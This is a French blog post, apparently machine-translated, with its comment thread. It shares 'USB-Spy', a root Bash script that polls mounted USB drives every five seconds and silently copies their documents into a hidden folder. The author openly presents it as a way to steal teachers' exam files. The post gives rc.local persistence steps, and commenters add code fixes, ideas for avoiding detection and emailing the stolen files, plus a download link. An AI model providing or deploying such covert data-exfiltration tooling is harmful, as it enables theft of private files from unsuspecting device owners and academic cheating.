Script pour espionner le contenu des périphériques USB et le copier sur le PC

J'ai toujours été un étudiant agité, voulant toujours profiter d'opportunités comme ... par exemple, copier les examens du semestre à partir de la clé USB de l'enseignant ou quelque chose du genre. Quand j'étais au lycée (majeure en informatique), je voulais programmer "quelque chose" qui ferait ce qui suit:

  1. Détecter lorsqu'un périphérique USB est connecté à l'ordinateur de la classe
  2. Copiez tout le contenu de cet appareil sur votre ordinateur

Cela me permettrait de passer l'examen beaucoup plus tôt, il suffirait au professeur de connecter sa clé USB (clé USB) à l'ordinateur et c'est tout.

Malheureusement, dans mon institut, les ordinateurs avaient Windows et… je n'ai jamais et jamais appris à programmer pour ce système d'exploitation.

Cependant, maintenant j'utilise Linux (évidemment pas? LOL!), Et sachant que tout au long de ces années j'ai pu acquérir, maintenant OUI! Je peux déjà y parvenir avec Linux 😀

Autrement dit, j'ai programmé un script simple qui fait ce qui suit:

1. Créez le dossier /home/.USBDRIVES/
2. Il vérifie toutes les 5 secondes si un périphérique USB (ou CD / DVD) est connecté à l'ordinateur.
3. Si l'un d'entre eux est connecté, il créera un dossier dans /home/.USBDRIVES/ avec le nom de l'USB (par exemple: memory-2gb) et aussi, il copiera tous les fichiers .doc, .pdf, etc. (voici la liste) dans ce dossier que vous venez de créer.
4. Dans le cas où il n'y a pas d'USB connecté, il faudra simplement attendre 5 secondes pour démarrer la vérification que j'ai à nouveau expliqué ci-dessus 😀

Voici le script et le fichier contenant les formats à copier:

Télécharger USB-Spy.zip
Le script doit être exécuté en tant que root pour que son fonctionnement ne soit pas limité. Ici, j'explique comment y parvenir

Pour que le script puisse fonctionner sans aucun problème, il est préférable qu'il soit démarré avec des privilèges administratifs (root), car il est évident qu'il doit être démarré avec l'ordinateur, de cette manière nous nous assurons que si l'ordinateur est redémarré ou éteint, quand je relancerai le script, il fonctionnera, prêt à extraire de n'importe quelle clé USB ce que nous voulons 😉

Ouvrons un terminal ... une fois ouvert ...

1. Supposons que nous ayons les deux fichiers dans / opt / (/opt/usb-espion.sh y /opt/usb-spy.files), nous devons lui donner des privilèges d'exécution:

sudo chmod +x /opt/usb-spy.sh

2. Nous ouvrons le dossier /etc/rc.local :

sudo nano /etc/rc.local

3. Nous y écrivons au-dessus de la dernière ligne (sortie 0) le suivant:

/opt/usb-spy.sh &

4. Maintenant, nous appuyons sur [Ctrl] + [X] pour sauvegarder et quitter le fichier, nous appuyons sur [S] ou [Y] (selon la langue du système) puis sur [Entrée]. Ce sera suffisant pour que les modifications que nous avons apportées soient enregistrées.

Et voila, ce sera suffisant pour que le script démarre en tant que root lorsque nous allumons l'ordinateur.

Il est important de vérifier que le fichier usb-spy.files est dans le même répertoire que usb-espion.sh 😉

Maintenant ... je vais vous expliquer un peu le fonctionnement interne du script, car je sais qu'il y a beaucoup d'amoureux de Bash ici 😀

Q: Comment le script sait-il qu'un périphérique USB est connecté?
R: Dans le fichier / etc / mtab de notre système se trouvent les périphériques ou partitions qui sont montés sur notre système. Grâce à la ligne 23 du script, on sait s'il y a un USB connecté ou non (faire de chat en média mtab et grep)
Q: Oui, mais Comment le script sait-il si le chat et le grep nous renvoient des données ou non?
R: Par un si, alors, sinon boucle qui commence à la ligne 24.
Q: Comment faire pour copier uniquement les fichiers avec les extensions souhaitées? (.doc, .pdf, etc.)
R: En utilisant rsync avec divers paramètres, c'est sur la ligne 34. Simplement expliqué, avec rsync je copie seulement les fichiers qui correspondent au filtre usb-spy.files, chaque ligne est un filtre pour ainsi dire. Je passe aussi le paramètre --prune-empty-dirs à rsync pour ne pas créer de répertoires vides pour moi.
Au fait quelque chose important. Si un périphérique USB de 8 Go (par exemple) est connecté, tout fonctionne correctement, mais j'ai remarqué que si un périphérique avec beaucoup plus de capacité est connecté, comme 500 Go ou 1 To, le processus de recherche de fichiers .doc, etc. pour les copier à l'ordinateur a pris du temps, j'ai donc mis une limite de Go. Autrement dit, à la ligne 31, je déclare que si le périphérique USB fait moins de 16 Go, recherchez les fichiers et copiez-les, mais s'il est supérieur à 16 Go, ne faites rien. Si vous souhaitez augmenter ces 16 Go de 32 Go, augmentez simplement ce nombre à partir de la ligne 31

Il n'y a pas grand chose à expliquer en fait, le script est vraiment simple à comprendre :)

Si quelqu'un a un doute, une question, une plainte, une idée ou une suggestion, veuillez le dire et je promets de l'aider autant que possible.

Eh bien, je pensais mettre quelque chose comme: «ce script est à des fins éducatives uniquement, ne pas utiliser avec des fichiers nuisibles»… Mais… que diable! Utilisez-le pour tout ce que vous voulez, il est temps que les élèves aient une sorte d'avantage contre les professeurs qui nous oppriment 😀

salutations

Vous pouvez encore apporter de multiples améliorations au script, mais bon, c'est un bon début je pense, si quelqu'un se sent motivé pour contribuer à cette "noble" cause ce sera un plaisir 😀

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont marqués avec *

*

*

  1. Responsable des données: Miguel Ángel Gatón
  2. Finalité des données: Contrôle du SPAM, gestion des commentaires.
  3. Légitimation: votre consentement
  4. Communication des données: Les données ne seront pas communiquées à des tiers sauf obligation légale.
  5. Stockage des données: base de données hébergée par Occentus Networks (EU)
  6. Droits: à tout moment, vous pouvez limiter, récupérer et supprimer vos informations.

  1.   animé dit

    Tricheur ¬¬

    XDDDD

    1.    KZKG ^ Gaara dit

      Non pas du tout ... si vous avez pensé à un moment donné à faire quelque chose comme ça ... HAHAHA.

      1.    Ivan Molina dit

        Vous m'avez sauvé d'un quiz pop 😀… Maintenant votre «KZKG ^ Gaara» Vous êtes mon dieu… Louez-vous!

    2.    Facundo dit

      Bonjour, très bon script, mais en méga le fichier n'existe plus, vous pouvez l'envoyer à mon email, s'il vous plaît

  2.   oscar dit

    Linux est 1% et vous dites que vous n'avez jamais appris à programmer pour Windows donc le tutorat est pour un système linux, ma question est: quelle est la possibilité de trouver un professeur qui utilise Linux pour effectuer le tutorat?

    1.    KZKG ^ Gaara dit

      Ce script ou astuce est "implémenté" sur un ordinateur qui ne doit pas nécessairement être le personnel ou celui du professeur, il suffit que ce soit n'importe quel ordinateur d'une université ou d'un collège, alors il ne serait possible de le réaliser que par X ou Y raison pour laquelle le professeur connecte votre clé USB sur cet ordinateur.

      Oui, c'est pour Linux, mais de nombreuses universités ont Linux comme système dans les laboratoires informatiques, ainsi que le démarrage avec un LiveCD et pas nécessairement l'installation de Linux sur le PC 🙂

      A propos du 1%, je vous recommande de lire cet article: https://blog.desdelinux.net/debunking-the-1-percent-myth-traducido-al-espanol/

    2.    Hyuga_Neji dit

      La possibilité qu'une météorite géante tombe sur l'Atlantique en 30 min environ

  3.   Josh dit

    Cela semble intéressant, il faudra l'essayer.
    merci

    1.    KZKG ^ Gaara dit

      L'utilitaire dont il dispose n'est pas génial, mais le script en tant que tel est intéressant ... car vous pouvez en apprendre plusieurs astuces, par exemple comment connaître l'USB connecté, la taille de la partition, etc.

  4.   cr0t0 dit

    Un article original et très bien expliqué KZKG ^ Gaara. À votre santé!

    1.    KZKG ^ Gaara dit

      Merci

  5.   oscar dit

    Quelle audace !!!, et vous osez l'écrire sur le blog OO, je ne sais pas quoi penser, est-ce que quelqu'un qui ne l'aime pas bien a bien piraté Gaara?

    1.    KZKG ^ Gaara dit

      impudence? parce que?
      Bien que le but ou le motif du script ne soit pas aussi sérieux que le reste de mes contributions, le script, ses lignes et sa logique de programmation ont beaucoup à apporter, je pense.

      Vous pouvez profiter de plusieurs choses de ce script:
      1. Comment connaître la taille d'une partition et qu'il s'agit d'une variable.
      2. Comment vérifier si une clé USB est connectée et extraire son chemin et son nom.
      3. boucles if-then-else et while.

      Quoi qu'il en soit, je ne pense pas que ce soit entièrement inutile ou quelque chose du genre.

      1.    oscar dit

        Je pense que vous avez mal interprété mon commentaire, je veux dire au début de votre article,
        "J'ai toujours été un étudiant agité, voulant toujours profiter d'opportunités comme ... par exemple, copier les examens du semestre à partir de la clé USB du professeur ou quelque chose du genre." Si ce que je dis vous dérange, j'espère que vous m'excuserez, ce n'était pas mon intention.

        1.    Pascal Blaire dit

          oO quel excellent blog, de bons articles, de bons lecteurs, les utilisateurs s'excusent ... c'est le paradis lol sans trolls.

          1.    KZKG ^ Gaara dit

            merci ^ - ^
            Nous sommes fiers de ce que nous avons accompli jusqu'à présent, cette communauté est vraiment fière ... c'est formidable de faire partie de tout cela 😀

        2.    KZKG ^ Gaara dit

          Non non pas du tout, je n'ai pas vraiment dérangé du tout xD
          Et oui hehe c'était mon erreur de mal interpréter ton commentaire hehehe, désolé pour ça 😉

          Rien que les excuses viennent de moi maintenant, je vais devoir me laver le visage pour voir si je finis de me réveiller ... d'après ce que je vois, je ne suis toujours pas à 100% HAHAHA.

          Salutations ami 🙂

        3.    oscar dit

          Très bonne personne xD

  6.   Néomito dit

    J'aimerais que les ordinateurs de mon collège aient Linux muhahahjaja.

  7.   GGGG1234 dit

    Bon article!
    Mais celui qui voudra l'imiter dans Windows sera plus facile, parce que là où vous n'avez pas d'accès root sur la machine que vous voulez utiliser, vous ne pouvez pas le laisser "pour toujours". Avec Windows, cela n'arrive pas 😉

  8.   Pascal Blaire dit

    Très bon hehe.

  9.   Hyuga_Neji dit

    L'idée est bonne, elle n'a que la faiblesse de devoir utiliser les privilèges root

    1.    KZKG ^ Gaara dit

      Eh bien, en fait, vous n'avez pas besoin d'être root en tant que tel ... si vous déclarez au script que le dossier ne sera PAS /home/.USBDRIVES comme je l'ai dit, et il dit par exemple: / home / usuario /. USBDRIVES ... puis exécuter le script avec "user" suffira 😀

  10.   Emilio dit

    C'est une bonne idée, mais je pense que vous vous épargneriez de modifier le rc.local et de l'exécuter toutes les minutes via crontab, et ainsi vous évitez le problème de l'exécuter en tant que root et le reste, par contre, bien que cela n'affecte pas beaucoup, vous consommez inutilement la mémoire du pc toutes les 5 secondes pour vérifier si l'usb est, même si ce n'est pas le cas. Eh bien c'est mon point de vue

    1.    KZKG ^ Gaara dit

      Je veux dire, faites un contrôle toutes les 1 minute, non? Je ne l'ai pas fait comme ça parce que… et si une clé USB est connectée et déconnectée en moins d'une minute? 😀

      J'ai préféré le faire toutes les 5 secondes pour m'assurer de vraiment "capturer" toutes les clés USB 😉

      Si je vous ai mal compris, veuillez me corriger 🙂

      Salutations et bienvenue.

      1.    Emilio dit

        Oui, faites le contrôle toutes les minutes via cron, mais bon chacun a une manière différente de voir le problème, rien de plus que de regarder le code, il ne serait pas préférable de vérifier si le dossier /home/.USBDRIVES existe déjà avant de créer c'est une suggestion rien de plus

        salutations

        1.    KZKG ^ Gaara dit

          Oui aussi, c'est un détail que j'ai remarqué mais ... j'ai été paresseux de le résoudre LOL!

          De même, je pourrais mettre un journal où sont affichés les fichiers qui ont été copiés (journal individuel pour chaque appareil), peut-être même envoyer ce journal par courrier électronique (en utilisant une méthode d'envoi de courrier électronique par terminal de ceux que j'ai mis ici sur le site ) ... mais comme je vous l'ai dit, ça me rend un peu paresseux ^ - ^ U

  11.   pavloco dit

    Hahaha super.

  12.   Hexborg dit

    AHA! Ainsi, votre logiciel peut être utilisé pour le mal. LOL !!! 🙂

    L'astuce est bonne, mais ... que faire si vous voulez démonter l'USB avant que le script ait fini de copier son contenu? Dans ce cas, il se plaindra qu'il est en cours d'utilisation et il sera remarqué qu'il y a quelque chose qui ne va pas. 🙂

    1.    KZKG ^ Gaara dit

      En fait, le système ne permettra pas le démontage de l'USB car «quelque chose» l'utilisera 😉

      1.    Hexborg dit

        Exact! Et c'est alors que le professeur d'Oscar pense avoir trouvé un virus Linux. LOL !! 🙂

  13.   oscar dit

    Vous m'avez rappelé une fois que j'avais fait quelque chose de similaire (sur mon Uni si nous avions linux / windows), mais j'ai créé un programme C qui générait des milliers de dossiers. J'ai tapissé l'USB à un gars qui l'a branché. Le responsable du centre informatique a été étonné! Il pensait avoir trouvé un virus dans linuxx muajajajaja ... ahhh .. quelle heure était-ce =)

    1.    miguel dit

      et quelle est la différence avec un virus?

      1.    oscar dit

        Que je me suis rendu à distance sur sa clé USB et que j'ai exécuté le programme 😛

        1.    miguel dit

          hahahaha, donc c'était un hack XD

    2.    KZKG ^ Gaara dit

      😀
      hehehehehe donc vous avez trouvé un virus sous Linux, non? … LOL !!

  14.   seproms dit

    Cela ne fonctionne tout simplement pas pour moi xD, si j'essaie de l'exécuter à partir du terminal, cela me dit: ./usb-spy.sh: ligne 31: [: -lt: opérateur unaire attendu
    Il semble y avoir un problème avec cette ligne: if [$ USBSIZE -lt 15664800]; puis
    Mais je ne sais pas ce que c'est, car il ne crée pas non plus le répertoire .USB.

    Si cela peut être résolu, je peux trouver un script utile.

    1.    Hexborg dit

      Essayez de remplacer df par / bin / df et assurez-vous de le lancer en tant que root.

      1.    seproms dit

        Ok, maintenant s'il crée le dossier .USB dans le répertoire personnel, mais il n'arrête pas de me dire via le terminal que: "./usb-spy.sh: ligne 31: [: -lt: opérateur unaire attendu" et il ne le fait pas ' t ne rien copier, dans cette ligne il doit y avoir un conflit, j'apprécie l'aide si quelqu'un le voit.
        Merci beaucoup.

        1.    Hexborg dit

          Pouvez-vous nous donner le contenu de votre fichier / etc / mtab lorsque l'USB est monté?

          1.    seproms dit

            Bien sûr, voilà:

            / dev / sda12 / ext4 rw, erreurs = remount-ro 0 0
            proc / proc proc rw, noexec, nosuid, nodev 0 0
            sysfs / sys sysfs rw, noexec, nosuid, nodev 0 0
            aucun / sys / fs / fusible / connexions fusectl rw 0 0
            aucun / sys / kernel / debug debugfs rw 0 0
            aucun / sys / noyau / sécurité securityfs rw 0 0
            udev / dev devtmpfs rw, mode = 0755 0 0
            devpts / dev / pts devpts rw, noexec, nosuid, gid = 5, mode = 0620 0 0
            tmpfs / run tmpfs rw, noexec, nosuid, size = 10%, mode = 0755 0 0
            aucun / exécuter / verrouiller tmpfs rw, noexec, nosuid, nodev, size = 5242880 0 0
            aucun / run / shm tmpfs rw, nosuid, nodev 0 0
            binfmt_misc / proc / sys / fs / binfmt_misc binfmt_misc rw, noexec, nosuid, nodev 0 0
            / dev / sdb1 / media / DOCU403 vfat rw, nosuid, nodev, uid = 1000, gid = 1000, shortname = m $

            Les dernières lignes sont celles de l'USB / dev / sdb1 monté

          2.    Hexborg dit

            Voyons si nous l'avons. 🙂

            Donnez-nous la sortie de la commande df. Et essayez d'ajouter la ligne:

            echo $ USBSIZE

            Juste en face du si cela pose le problème et dites-nous ce qui sort lors du lancement du script. Ça devrait ressembler à ça:

            USBSIZE = `/ bin / df | grep $ USBDEV | awk {'print $ 2'} `
            echo $ USBSIZE
            si [$ USBSIZE -lt 15664800]; puis

            Et juste au cas où, dites-nous également quelle est la sortie de la commande which df.

            1.    seproms dit

              Ok, en partie, la commande df me renvoie ceci:

              Système de fichiers 1K blocs Utilisé Utilisation disponible% Monté sur
              / dev / sda12 54082300 45246956 6125892 89% /
              udev 2004028 4 2004024 1% / dev
              tmpfs 805768 1180 804588 1% / exécution
              aucun 5120 0 5120 0% / exécution / verrouillage
              aucun 2014420 92 2014328 1% / run / shm
              / dev / sdb1 1023200 322256 700944 32% / media / DOCU 3

              La commande que df me renvoie: / bin / df

              Ensuite, j'ai mis l'écho $ USBSIZE, et le résultat est le même, il n'imprime rien de nouveau, mais l'erreur d'avant, le plus drôle est que cela se produit avec l'USB que je teste, si je mets le disque dur externe de 500 Go Oui, il renvoie la taille du disque à l'écran, mais le 500 dépasse le 16 du si, donc avec le disque dur il ne fait rien.

              Mais avec l'USB, cela ne fait rien, à part afficher l'erreur: ./usb-spy.sh: ligne 34: [: -lt: opérateur unaire attendu
              C'est comme s'il ne pouvait pas afficher la taille de l'USB, mais avec la commande df j'obtiens sa taille.

              Merci pour l'aide, voyons si nous pouvons l'obtenir!


            2.    seproms dit

              Juste au cas où la commande n'aurait pas l'air bien ici, je laisse une capture d'écran: http://i48.tinypic.com/j5dvn5.jpg


          3.    Hexborg dit

            Je vois que dans le mtab le chemin où il apparaît monté est «/ media / DOCU403» tandis que dans df il apparaît «/ media / DOCU 3». Cela empêche grep de le trouver et ne renvoie pas la taille. Essayez de changer les premières lignes du pour pour qu'elles ressemblent à ceci:

            pour USBD dans `cat / etc / mtab | grep media | awk '{print $ 1}' '';
            do
            USBDEV = `cat / etc / mtab | grep $ USBD | awk '{print $ 2}' ''
            USBSIZE = `/ bin / df | grep $ USBD | awk {'print $ 2'} `

            Les modifications consistent à changer le nom de la variable for en USBD, à changer le $ 2 à la fin de la ligne for en $ 1, à insérer la ligne qui commence par USBDEV juste après le do et à changer USBDEV en USBD dans la ligne qui commence avec USBSIZE… J'espère que je n'ai pas déconné. 🙂

            L'idée est de faire le pour par le nom de l'appareil plutôt que par le point de montage.

            1.    KZKG ^ Gaara dit

              Le problème était que dans le mtab lorsqu'un périphérique a des espaces ... il met des caractères "étranges" sur la ligne, en particulier à la place de l'espace.

              Rien, aussi simple à résoudre que de changer la façon dont $ USBDEV est désigné, à la ligne 28, changez-le et mettez-le comme ceci:
              for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

              😀


          4.    Athéyus dit

            Voyons si je peux vous aider ...

            L'opérateur unaire le montre car il ne localise pas la taille du disque, cela se produit parce qu'il ne le vérifie pas, cela se produit parce qu'il est appelé

            Pièce 3

            et il le prend comme deux valeurs, si c'était DOCU cela n'ouvrirait pas de problème

            Peut-être que cela fonctionnera pour vous

            http://www.itimetux.com/2012/11/manejar-archivos-o-carpetas-con-espacios-en-unix.html

            Salutations 🙂

            1.    seproms dit

              En effet c'est le problème, car je viens d'essayer avec d'autres USB qui ont un nom avec un mot sans espaces, exemple "classes" et le script fonctionne sans problème, c'est pourquoi il a reconnu le disque dur et non les souvenirs, mais maintenant le Le truc est de savoir comment je mets les guillemets dans le code du script, dois-je les mettre dans "$ USBNAME"?

              Un grand merci à Atheyus et Hexborg pour l'aide, c'est presque terminé.


          5.    KZKG ^ Gaara dit

            En réalité seproms c'est super simple à réparer 😉
            Ligne 28 ... changez-le en ceci:
            for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

            Je viens de faire le test avec ce changement et cela fonctionne très bien avec les appareils dont l'étiquette / le nom a un espace :)

            Maintenant, je vais faire le changement dans le script à télécharger.

          6.    Hexborg dit

            Très bon. C'est donc facile à réparer. 🙂

  15.   auroszx dit

    Ohhh, très ingénieux 😀 Je prendrai note au cas où j'aurais besoin de ...

  16.   seproms dit

    KZKG ^ Gaara, avec cet arrangement cela fonctionne parfaitement, maintenant si je copie l'USB avec de l'espace dans le nom, merci beaucoup à tous pour l'aide, je vais essayer de voir si je peux le faire fonctionner avec le démarrage du système et de cette façon Vérifiez chaque cycle s'il y a un USB connecté.

    En fin de compte, nous l'avons atteint xD.

    1.    KZKG ^ Gaara dit

      ^ - ^ ... gentil hehe.
      Le problème était que j'utilisais mtab pour reconnaître l'USB, j'aurais pu simplement utiliser df ... J'ai utilisé mtab car je pensais qu'il serait intéressant de leur expliquer ce fichier, qu'ils le connaissent, mais je n'avais pas prévu que cela une erreur se produirait avec les appareils avec des espaces lol.

      Toutes les questions ou problèmes que vous laissez, presque tout le monde ici aime aider xD

      salutations

    2.    Hexborg dit

      Bien sûr. Nous sommes des linuxers. Nous l'avons toujours. XD.

  17.   yérétique dit

    Installez un démon sur le PC de l'enseignant qui générera un enregistrement de tous les fichiers .doc, .docx, .odt, .pdf et vous les enverra par mail. En plus de scanner le PC de temps en temps à la recherche de changements, de nouveaux fichiers ou de suppressions dans ledit registre, et toutes les nouvelles vous enverront également le fichier modifié ou nouveau par courrier.

  18.   yérétique dit

    De même, je pense que plus qu'un pillage, exécuter ce script (ET AS ROOT !!!!) est un suicide. Vous rendez la vie et les choses 700% plus faciles pour quiconque souhaite insérer un fichier sur votre PC avec des autorisations root et tout. N'oubliez pas que les extensions n'existent pas sous Linux et qu'un .doc sous Linux peut être le même qu'un texte, une vidéo ou pire, un script (cette fois avec de très mauvaises intentions).

    1.    KZKG ^ Gaara dit

      L'exécuter en tant que root n'est pas complètement nécessaire, définissez simplement le dossier où le contenu sera placé quelque part où l'utilisateur en cours d'exécution a les autorisations d'écriture (par exemple, sa propre maison) et c'est tout 🙂

      A propos des fichiers dangereux ... eh bien, vous pouvez ajouter des lignes qui feraient chmod -x à tous les fichiers, perdant ainsi la propriété d'exécution.

      1.    seproms dit

        J'ai ajouté ces lignes au début pour supprimer le dossier .USBDRIVES s'il était déjà créé:

        si [-s $ PLACE]
        puis rm -r $ PLACE
        fi

        De cette façon, il ne donnera pas l'erreur de "répertoire déjà existant", c'est-à-dire si vous devez faire attention qu'il n'y ait rien dans le dossier .USBDRIVES que nous ne voulons pas supprimer, car il le supprimera et en mettra un autre à sa place.

  19.   Daniel dit

    Pour ajouter de nouveaux formats de fichiers, écrivez-les simplement dans usb-spy? par exemple .jpg .mp3 etc.

    1.    KZKG ^ Gaara dit

      Pour ajouter de nouveaux types de fichiers, placez-les dans les fichiers usb-spy.files
      Regardez le contenu du fichier et vous verrez comment les ajouter, c'est assez simple 😉

  20.   Bolivar de Wuilmer dit

    Si nous sommes sur le même réseau, et qu'il y a une machine de professeur, la chose intéressante serait de faire une cartographie du réseau, nous pouvons avoir ssh sur les machines et ainsi distribuer le code sur les machines de laboratoire ou même sur la machine de l'enseignant ... . Cela me donne tellement d'idées: $

  21.   xyler dit

    Bonjour, je vous félicite pour le post et toutes vos contributions, mais j'ai une question, pour voir si quelqu'un peut résoudre ce problème pour moi:

    J'étais en train de tester votre script sur un PC avec ubuntu 12.04LTS (avec Unity) et cela fonctionnait parfaitement, mais comme j'ai vu qu'il avait arrêté d'exécuter ce script après la première exécution, car le dossier .USBDRIVES était déjà créé, j'ai décidé pour utiliser directement cet autre script de votre auteur qui a été publié dans une autre partie de ce forum

    ici je copie le script pour que vous vous localisiez

    #! / Bin / bash
    #
    # - * - ENCODAGE: UTF-8 - * -
    # Ce programme est un logiciel gratuit. Vous pouvez le redistribuer et / ou
    # le modifier selon les termes de la Licence Publique Générale
    GNU # tel que publié par la Free Software Foundation,
    # soit la version 2 de ladite licence, soit (selon votre
    # choix) de toute version ultérieure.
    #
    # Si vous apportez des modifications à cette application,
    # doit toujours mentionner l'auteur original du même.
    #
    #Copyleft 2012, DesdeLinux.net {La Havane, Cuba}.
    # Auteur: KZKG ^ Gaara

    WHILE = 0

    tandis que [$ CONTROL = 0]; faire
    cat / etc / mtab | grep media >> / dev / null
    si [$? -ne 0]; puis
    COUNTER = 0
    d'autre
    COUNTER = 1
    : $ {USBDEV: = `cat / etc / mtab | grep media | awk '{print $ 2}' `` / »}
    cp $ USBDEV / * / home /
    fi
    sommeil 5
    fait

    sortie 0

    Le sujet est le suivant dans ubuntu12.04 lts unity que le dernier script fonctionne bien et fonctionne mais lorsque je rétrograde le même PC pour une raison "x" et que j'essaye de le faire fonctionner dans ubuntu 10.10 non, je peux le faire fonctionner
    D'une part, il génère une erreur et il ne lit pas les clés USB qui ont un nom composé, par exemple: DATA-G, ni ne copie les fichiers qui ont un nom composé. En dehors de ce problème, j'ai le problème que le script n'est exécuté que lorsque le PC est redémarré une fois.

    La question serait: comment puis-je faire en sorte que ce script me copie des clés USB et des fichiers avec des noms composés
    et si vous utilisez crontab ou je peux le programmer pour qu'il fonctionne à une certaine heure

    Autre détail, dans Ubuntu 10.10, car il utilise Gnome je voudrais ajouter quelques contraintes à prendre en compte, lors de l'octroi de privilèges d'exécution à un script, il doit être situé dans /etc/init.d pas dans / etc /
    (Tenez compte du fait que vous devez le coller là-bas en arrivant du terminal avec sudo nautilus)

    par contre une autre dimension serait qu'après l'avoir collé là pour voir s'il peut être exécuté, il faut le faire dans un autre terminal

    sudo su (être root)
    Mot de passe

    ls

    cd / etc / init.d

    ls -l

    et là on saute si ça marche ou pas

    puis dans le même terminal ou dans un autre terminal à un autre moment étant en tant que root et étant dans etc / init.d (c'est-à-dire jusqu'à l'étape cd / etc / init.d) comme dans le terminal précédent, nous continuons comme suit pour lui donner les permissions de exécution

    sudo chmod + x script.sh

    update -rc.d script.sh par défaut 80

    reboot

    Je répète que c'est pour qu'il s'exécute automatiquement dans ubuntu 10.10 s'il s'agit d'une autre version comme 12.04, vous devez faire ce que KZKG ^ Gaara dit

    Et une dernière question, comment puis-je copier le contenu (jusqu'à 3 sous-dossiers de la clé USB) vers la maison ou dans un dossier de départ caché ou non, supposons que ce soit .USBDRIVES
    dans le code je n'aurais pas à dire

    cp -r /media/*/*/*/home/.USBDRIVES/*

    Bref, pour obtenir ce que je veux, comment le script doit-il rester?
    Parce que j'ai déjà essayé de modifier la ligne qu'ils ont modifiée en usb-spy sh mais à cette autre qui enregistre directement à la maison et jette une erreur sur la ligne modifiée.? Cordialement . Je vous remercie

  22.   Kakashi dit

    Je ne peux pas télécharger le deuxième script

  23.   métal dit

    Très bon. 😉

  24.   Kamaléon dit

    Et si je ne fais pas les étapes que vous avez faites, que se passe-t-il? Ne fonctionne-t-il pas ou ne fonctionne-t-il pas simplement mais sans racine? Si les ordinateurs ont un système qui, nous disons, restaure toute la configuration interne de l'ordinateur lors de l'arrêt, cela fonctionnera-t-il? Je vous remercie.

    1.    KZKG ^ Gaara dit

      Dans le cas où le système a «quelque chose» qui par défaut est le dossier / home /, vous devez modifier le script, où il dit / home / le changer en / opt / ou un autre dossier qui n'est pas affecté.

  25.   gambi dit

    Je pense que pour améliorer le script et éviter que l'intrusion dans la clé USB ne soit remarquée, l'idéal serait de prioriser le type, la taille du fichier. Par exemple, laissez les gros fichiers de 100 mégaoctets ou plus pour la fin. Ou copiez d'abord les fichiers doc, docx, txt, pdf, xml, ... etc etc etc et laissez les fichiers avi, mp4, mkv pour la fin ...

  26.   lucas dit

    Bonjour, l'idée est bonne. Je voulais poser deux questions:
    - Cela peut-il être fait à l'envers? faire un script pour le penderiver, qu'il se connecte à n'importe quelle machine et extrait les fichiers.
    - fonctionne pour Windows OS?

    1.    KZKG ^ Gaara dit

      Salut,

      Je ne sais pas comment cela pourrait être fait que lors de la connexion de la clé USB, la même clé USB exécute automatiquement un script qu'elle contient.

      Et non, ce script ne fonctionne pas pour Windows 🙂

      1.    LUCAS dit

        Ok, merci de m'avoir répondu, je vais chercher comment le faire

  27.   José Damian Bazaga Ruiz dit

    Quel bon scénario. Je l'ai analysé, et cela me semble incroyable, j'espère qu'un jour je pourrai aussi faire de tels scripts pratiques.

  28.   jose dit

    Excellente contribution, même si l'utilité que je vais lui donner n'est pas exactement ce pour quoi vous l'avez soulevée, si je l'utilise pour les sauvegardes de fichiers d'un groupe d'utilisateurs, faute que j'ai… hehehehe….

  29.   embrasser dit

    lorsque j'essaye de l'exécuter, cela me donne cette erreur ligne 31: [: trop d'arguments
    supprimez cette ligne pour voir si cela a fonctionné. et il s'avère que c'est la ligne qui limite la taille des appareils.
    lors de sa suppression copie ce que j'ai dans mes partitions montées 🙁

  30.   Brave dit

    Salut, je suis nouveau et je sais que le pot est vieux mais je l'ai beaucoup aimé, ton scénario est très éducatif

    Merci de le partager et de l'expliquer en détail ...

    Vague

  31.   doltrox dit

    Ami, tu m'as sauvé, je devais juste distraire le professeur et insérer la clé USB dans mon ordinateur portable, puis hahahaaj passé l'examen et les notes de tout hehehe

    1.    oetam222 dit

      Pouvez-vous me passer le script, le lien est en panne

    2.    oetam222 dit

      Tu peux me passer le script le lien est en panne

  32.   Worm2D2 dit

    kzkggaara, pourriez-vous télécharger à nouveau les fichiers? les liens sont en panne: /, merci beaucoup

  33.   bastian dit

    Pouvez-vous télécharger des liens s'il vous plaît?

  34.   Nécr0 dit

    entend! l'oncle! vous avez les louanges déchues, vous pourriez les élever à nouveau!
    bien! : v

  35.   Nécr0 dit

    eh bien, je recommence parce que je ne sais pas si ce que je voulais dire a été téléchargé….

    eh bien c'est que vous avez les liens en bas, vous pouvez les télécharger!

  36.   rlorau dit

    Les liens sont en panne !!!

  37.   Developer24 dit

    Soumettez à nouveau les liens @usemoslinux Je suis en train d'enquêter sur le sujet, merci!

  38.   anonyme dit

    Le script peut être téléchargé à partir d'ici. Je pense que c'est pareil

    https://mega.nz/#!yQR1BQTb!FoYoopZ11WSstQaqX1flxhm1t4jCKOI9jj8VIxIBrxk

  39.   Jean dit

    Eh bien….

    Je pense de mon humble point de vue que c'est un excellent article et bien s'il y a des gens qui disent que vous êtes un tricheur, alors je pense que c'est en fonction du but pour lequel vous utilisez le programme.
    Personnellement, j'ai davantage aimé connaître le langage de programmation pour linux puisque je n'ai travaillé qu'en java, merci mon pote vous avez suscité mon intérêt pour en savoir plus sur le langage pour linux.

    Je te remercie.

  40.   Hécorat dit

    Bonjour les amis parce que j'ai trouvé une autre façon d'utiliser ce script est de faire une sauvegarde, je vais vous parler un peu j'ai deux appareils, une caméra et un disque dur, ce que je veux c'est qu'au lieu d'enregistrer les fichiers, les fichiers locaux les sauvegardent sur un disque dur externe de la caméra au disque dur mais cela me donne une erreur qui dit "trop ​​d'arguments" pourriez-vous m'aider

  41.   LUIS GÉRARDO POLANCO VERA dit

    Cela ne fonctionne qu'avec les appareils dotés de systèmes d'exploitation Linux?

  42.   Essai dit

    Quelqu'un le soulève, s'il vous plaît!

  43.   Gazlène dit

    Bonjour, je n'ai pas linux et dans mon école, ils utilisent Windows, j'ai utilisé l'application de capture USB et je ne copie que 5 fichiers de la mémoire de l'enseignant, je soupçonne que l'usb a une protection, car la même chose s'est produite deux fois, il y aura un autre moyen soustraire les informations complètes de cet usb?

  44.   zaraki dit

    Allez si vous dites que le code sera simple, car il semble très intéressant de voir les méthodes fonctionner pour voir si une clé USB est connectée ou la taille de la partition. Dommage qu'ils aient supprimé le script mega.nz, pourriez-vous le télécharger à nouveau?

    Salutations et bon travail, simple mais fonctionnel même pour automatiser les copies depuis USB !!!

  45.   Pauses dit

    Bon!
